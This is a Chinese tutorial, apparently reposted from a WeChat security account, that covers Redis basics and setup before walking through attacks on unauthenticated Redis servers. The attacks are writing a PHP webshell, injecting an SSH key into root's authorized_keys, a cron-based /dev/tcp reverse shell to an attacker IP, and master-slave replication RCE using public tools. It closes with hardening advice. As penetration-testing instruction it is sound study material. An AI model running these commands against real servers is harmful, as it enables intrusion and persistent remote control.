Redis简介
Redis是数据库的意思。Redis(Remote Dictionary Server ),即远程字典服务,是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。
Redis运行在内存中但是可以持久化到磁盘,所以在对不同数据集进行高速读写时需要权衡内存,因为数据量不能大于硬件内存。在内存数据库方面的另一个优点是,相比在磁盘上相同的复杂的数据结构,在内存中操作起来非常简单,这样Redis可以做很多内部复杂性很强的事情。同时,在磁盘格式方面他们是紧凑的以追加的方式产生的,因为他们并不需要进行随机访问。
Redis的出现,很大程度补偿了memcached这类key/value存储的不足,在部分场合可以对关系数据库起到很好的补充作用。
Redis基本语法
1.Redis 配置
Redis 的配置文件位于 Redis 安装目录下,文件名为 redis.conf 。可以通过 CONFIG 命令查看或设置配置项
Redis CONFIG 查看配置命令格式如下:
CONFIG GET CONFIG_SETTING_NAME
使用 * 号获取所有配置项
CONFIG GET *
2.编辑配置
可以通过修改 redis.conf 文件或使用 CONFIG set命令来修改配置
基本命令语法
redis 127.0.0.1:6379> CONFIG SET CONFIG_SETTING_NAME NEW_CONFIG_VALUE
如:
3.参数说明
几个redis.conf 配置项说明如下
port 6379 //指定 Redis 监听端口,默认端口为 6379
bind 127.0.0.1 //绑定的主机地址
timeout 300 //当客户端闲置多长秒后关闭连接,如果指定为 0 ,表示关闭该功能
databases 16 //设置数据库的数量,默认数据库为0,可以使用 SELECT 命令在连接上指定数据库id
save <seconds> <changes> //指定在多长时间内,有多少次更新操作,就将数据同步到数据文件,可以多个条件配合
dbfilename dump.rdb //指定本地数据库文件名,默认值为 dump.rdb
dir ./ //指定本地数据库存放目录
Redis命令
Redis 命令用于在 redis 服务上执行操作。要在 redis 服务上执行命令需要一个 redis 客户端。Redis 客户端在我们之前下载的的 redis 的安装包中
1.Redis 客户端的基本语法为:
redis-cli -h host //免密登录Redis服务
redis-cli -h host -p port -a password //使用redis密码登入redis服务
连接之后执行PING命令,如果服务运作正常的话,会返回一个 PONG
2.SET 命令
Redis SET 命令用于设置给定 key 的值。如果 key 已经存储其他值, SET 就覆写旧值,且无视类型。
语法
redis 127.0.0.1:6379> SET KEY_NAME VALUE
3.GET 命令
Redis Get 命令用于获取指定 key 的值。如果 key 不存在,返回 nil
语法
redis 127.0.0.1:6379> GET KEY_NAME
4.Flushall命令
Redis Flushall 命令用于清空整个 Redis 服务器的数据(删除所有数据库的所有 key )。
语法
redis 127.0.0.1:6379> FLUSHALL
5.Redis 数据备份与恢复
SAVE 命令用于创建当前数据库的备份,将执行一个同步保存操作,将当前 Redis 实例的所有数据快照(snapshot)以默认 RDB 文件的形式保存到硬盘 (此命令将在 redis 安装目录下创建一个 dump.rdb文件)
语法
redis 127.0.0.1:6379> SAVE
恢复数据,只需要将备份文件(dump.rdb) 移动到 redis 安装目录并启动服务即可。获取 redis 目录可用 CONFIG 命令
CONFIG GET dir
6. Redis 安全
可以通过 redis 的配置文件设置密码参数,这样客户端连接到redis服务就需要密码验证。可以通过以下命令查看是否进行了密码设置
CONFIG get requirepass
默认情况下 requirepass 参数为空,这就意味着可以无需通过密码验证就可以连接到redis服务
然后可以通过一下命令来修改参数,设置密码之后,客户端连接redis服务就需要密码验证,否则无法执行命令( 但是命令行修改了密码之后,配置文件的requirepass字段后面的密码是不会随之修改的 )
CONFIG set requirepass "657260"
CONFIG get requirepass
AUTH 命令可用于检测给定的密码是否与配置文件中的密码相符 (密码匹配正确时返回OK,否则返回一个错误)
AUTH PASSWORD
Redis环境搭建
1.在ubuntu中下载安装Redis并压缩
wget http://download.redis.io/releases/redis-5.0.12.tar.gz
tar -zxvf redis-5.0.12.tar.gz
2.下载并解压后之后,进入Redis目录中,执行 make ,通过 make 编译的方式来安装。(如果编译失败则有可能是未装gcc ,安装一下之后继续编译即可)
当出现 'make test'时,则代表编译安装成功
3.make编译结束后,进入src目录,将redis-server 和 redis-cli 拷贝到 /usr/bin 目录下 (这样就不用每次启动服务都进入安装目录了)
cd src
cp redis-cli /usr/bin
cp redis-server /usr/bin
4.返回 redis-5.0.12 目录,将 redis.conf 拷贝到/etc/目录下
cp redis.conf /etc
5.使用 /etc/ 目录下 redis.conf文件中的配置启动redis服务
redis-server /etc/redis.conf
6.一般情况下外面的主机是连接不了redis的,因为redis遵循bind指令,这将强制Redis只监听 IPV4 回退接口 IPV4 回退连接地址(意味着Redis将能够只接收来自同一台计算机的连接运行)
可以修改redis配置文件 /etc/redis.conf 中添加本地地址来解决,修改完之后重新启动redis服务,可以发现可以连接了
bind 127.0.0.1 192.168.245.128
Redis 未授权访问漏洞
Redis 默认情况下,会绑定 .0.0.0.0:6379 ,如果没有才有相关的策略,比如添加防火墙规则避免其他非信任来源 限制ip访问等,那么就会将 Redis 服务暴露到公网上。如果没有设置密码认证的话(一般为空),会导致任意用户在可以访问目标服务器的情况下,未授权访问 Redis 以及 读取 Redis 的数据。
在未授权的情况下,可以利用 Redis 自身提供的 config 命令进行写入shell、写SSH公钥、创建计划任务反弹shell 等。其思路都是先将 Redis 的本地数据库存放目录设置为 特定的目录,然后将 dbfilename (本地数据库文件名) 设置为你想写入的文件名称,最后在执行 save 或 bgsave 保存,那么就看在制定的目录下写入指定的文件了。
漏洞危害
攻击者无需认证即可访问到内部数据,可能导致敏感信息泄露,也可以执行 flushall 来清空所有的数据
可通过 EVAL 来执行 lua 代码,或通过数据备份工具往磁盘写入后门文件
最为严重的是,如果 Redis 以 root 身份运行的话,那么就可以给 root 账户写入 SSH公钥文件,直接通过 SSH 登录被攻击者服务器。
Redis未授权访问的几种利用方法
1.利用 Redis 写入webshell
1.利用条件
服务端的Redis连接存在未授权,在攻击机上能用redis-cli直接登陆连接,并未登陆验证。
开了服务端存在Web服务器,并且知道Web目录的路径(如利用phpinfo,或者错误爆路经),还需要具有文件读写增删改查权限。
2.利用方法
将dir设置为/www/wwwroot/html,将指定本地数据库存放目录设置为/www/wwwroot/html;将dbfilename设置为文件名shell.php,即指定本地数据库文件名为shell.php;再执行save或bgsave,则我们就可以写入一个路径为/www/wwwroot/html/shell.php的Webshell文件
原理
在数据库中插入一条Webshell数据,将此Webshell的代码作为value,key值随意(x),然后通过修改数据库的默认路径为/www/wwwroot/html和默认的缓冲文件shell.php,把缓冲的数据保存在文件里,这样就可以在服务器端的/www/wwwroot/html下生成一个Webshell
3.操作步骤
config set dir /www/wwwroot/html/
config set dbfilename shell.php
set xxx "<?php eval($_POST[whoami]);?>"
save
这里的第三步写入webshell的时候,也可以使用
set xxx "\r\n\r\neval($_POST[whoami]); \r\n\r\n"
\r\n\r\n 代表换行,用redis写入文件的话会自带一些版本信息,如果不换行的话可能会导致无法执行,然后查看被攻击机的 /www/wwwroot/html 目录下 shell.php的内容,可以看到写入成功
然后可以使用蚁剑成功连接。
2.利用 Redis 写入SSH公钥
1.利用条件
服务端的Redis连接存在未授权,在攻击机上能用redis-cli直接登陆连接,并未登陆验证。
服务端存在.ssh目录并且有写入的权限
原理
在数据库中插入一条数据,将本机的公钥作为value,key值随意,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,这样就可以在服务器端的/root/.ssh下生成一个授权的key
2.首先在攻击机的 /root/.ssh 目录里生成ssh公钥key
ssh-keygen -t rsa
然后将公钥导入key.txt文件(前后使用 \n 换行,避免和Redis里其他缓存数据混合),再把 key.txt 文件内容写入服务端 Redus的缓存中
(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > /root/.ssh/key.txt
cat /root/.ssh/key.txt | redis-cli -h 192.168.xx.xx -x set xxx
// -x 代表从标准输入读取数据作为该命令的最后一个参数。
然后,使用攻击机连接目标机器 Redis,设置Redis的备份路径为 /root/.ssh/ 和 保存文件名为 authorized_keys,并将数据保存在目标服务器缓存中 (在设置目录时,可能会存在报错 (error) ERR Changing directory: No such file or directory ,这是因为 root 从来没有登录过,然后在被攻击机中执行ssh localhost即可)
redis-cli -h 192.168.xx.xx
config set dir /root/.ssh
config set dbfilename authorized_keys
save
最后使用攻击机ssh连接目标即可(成功连接)
3.利用Redis写入计划任务
这个方法只能在Centos上使用,Ubuntu上是行不通的,原因如下:
因为默认redis写文件后是644的权限,但ubuntu要求执行定时任务文件/var/spool/cron/crontabs/<username>权限必须是600也就是-rw———-才会执行,否则会报错(root) INSECURE MODE (mode 0600 expected),而Centos的定时任务文件/var/spool/cron/<username>权限644也能执行
因为redis保存RDB会存在乱码,在Ubuntu上会报错,而在Centos上不会报错
然后由于系统的不同,crontrab定时文件位置也会不同
Centos的定时任务文件在/var/spool/cron/<username>
Ubuntu定时任务文件在/var/spool/cron/crontabs/<username>
原理
在数据库中插入一条数据,将计划任务的内容作为value,key值随意,然后通过修改数据库的默认路径为目标主机计划任务的路径,把缓冲的数据保存在文件里,这样就可以在服务器端成功写入一个计划任务进行反弹shell。
首先在攻击机kall上开启监听
nc -lvp 4444
然后连接服务端的 Redis,写入反弹 shell 的计划任务
redis-cli -h 192.168.142.153
set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.245.153/4444 0>&1\n\n"
config set dir /var/spool/cron/
config set dbfilename root
save
然后大概等一分钟左右可以看到,在攻击机的nc中成功反弹回shell
Redis基于主从复制的命令执行
Redis主从复制
Redis是一个使用ANSI C编写的开源、支持网络、基于内存、可选持久性的键值对存储数据库。但如果当把数据存储在单个Redis的实例中,当读写体量比较大的时候,服务端就很难承受。
为了应对这种情况,Redis就提供了主从模式,主从模式就是指使用一个redis实例作为主机,其他实例都作为备份机(从机),其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。
Redis 主从复制进行RCE
在2019年7月7日结束的WCTF2019 Final上,LC/BC的成员Pavel Toporkov在分享会上介绍了一种关于Redis 4.x/5.x的RCE利用方式,比起以前的利用方式来说,这种利用方式更为通用,危害也更大。
在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以在Redis中实现一个新的Redis命令。我们可以通过外部拓展(.so),在Redis中创建一个用于执行系统命令的函数。
1.利用 redis-rogue-server 工具 ( 地址:https://github.com/n0b0dyCN/redis-rogue-server)
该工具的原理是先创建一个恶意的 Redis 服务器作为 Redis主机(master),该Redis主机能够回应其他连接他的Redis从机的响应。有了恶意的Redis主机之后,就会远程连接目标Redis服务器,通过slaveof
命令将目标Redis服务器设置为我们恶意Redis的Redis从机(slaver)。然后将恶意Redis主机上的exp同步到Reids主机上,并将dbfilename设置为exp.so。最后再控制Redis从机(slaver)加载模块执行系统命令即可
但是该工具无法对Redis密码进行Redis认证,也就是说该工具只能在目标存在Redis未收取访问漏洞时使用。如果存在密码是不能使用的。
使用方法
python3 redis-rogue-server.py --rhost rhost --lhost lhost
执行后,可以选择获取一个交互式的shell(interactive shell) 或者是反弹shell(reserve shell)
选择 i 来获取一个交互式的shell,获取到之后可以直接执行系统命令
使用 r 来获取一个反弹的shell
但此工具最大的缺点就是只能使用于目标存在redis未授权访问漏洞时使用,当目标存在密码时无法使用。所以看下其他的工具。
2.利用 redis-rce工具 ( 地址 https://github.com/Ridter/redis-rce)
可以看到工具有一个 -a 的选项,可以用于redis认证。
但是这个工具里少一个exp.so的文件,我们还需要去上面那个到 redis-rogue-server工具中找到exp.so文件并复制到redis-rce.py同一目录下,然后执行如下命令即可:
python3 redis-rce.py -r rhost -lhost lhost -f exp.so -a password
执行后的效果和上面的工具一样,可以获取一个交互式的shell或反弹shell
这里选择 i 来获取一个交互式的shell,可以直接在里面执行命令
也可以选择 r 来获取一个反弹shell
Redis的安全防护策略
1.禁止监听在公网地址
将 Redis监听在 0.0.0.0 是十分危险的,所以需要修改 Redis 监听端口,在 Redis 的配置文件 redis.conf 中进行设置,找到包含 bind 的行,将默认的 bind 0.0.0.0 改为内网IP,然后重启 Redis
2.修改默认监听的端口
Redis默认监听端口为6379 ,为了更好的隐蔽服务,可以在redis.conf 中修改Redis的监听端口,将默认端口 6379 改为其他的端口
3.开启 Redis 安全认证并设置复杂的密码
为了防止 Redis 未授权访问攻击以及对 Redis 密码的爆破,可以在 redis.conf 配置文件中,通过 requirepass 选项开启密码认证并设置强密码
4.禁止使用 root 权限启动
使用 Root 权限去运行网络服务是比较有风险的,所以不建议使用 Root 权限的任何用户启动 Redis。加固建议如:
useradd -s /sbin/nolog -M redis
sudo -u redis /<redis-server-path>/redis-server /<configpath>/redis.conf
5.设置Redis配置文件的访问权限
因为 Redis 的明文密码可能会存储在配置文件中,所以必须禁止不相关的用户访问配置文件
本文分享自微信公众号 - 黑白天实验室(li0981jing)。
如有侵权,请联系 support@oschina.cn 删除。
本文参与“OSC源创计划”,欢迎正在阅读的你也加入,一起分享。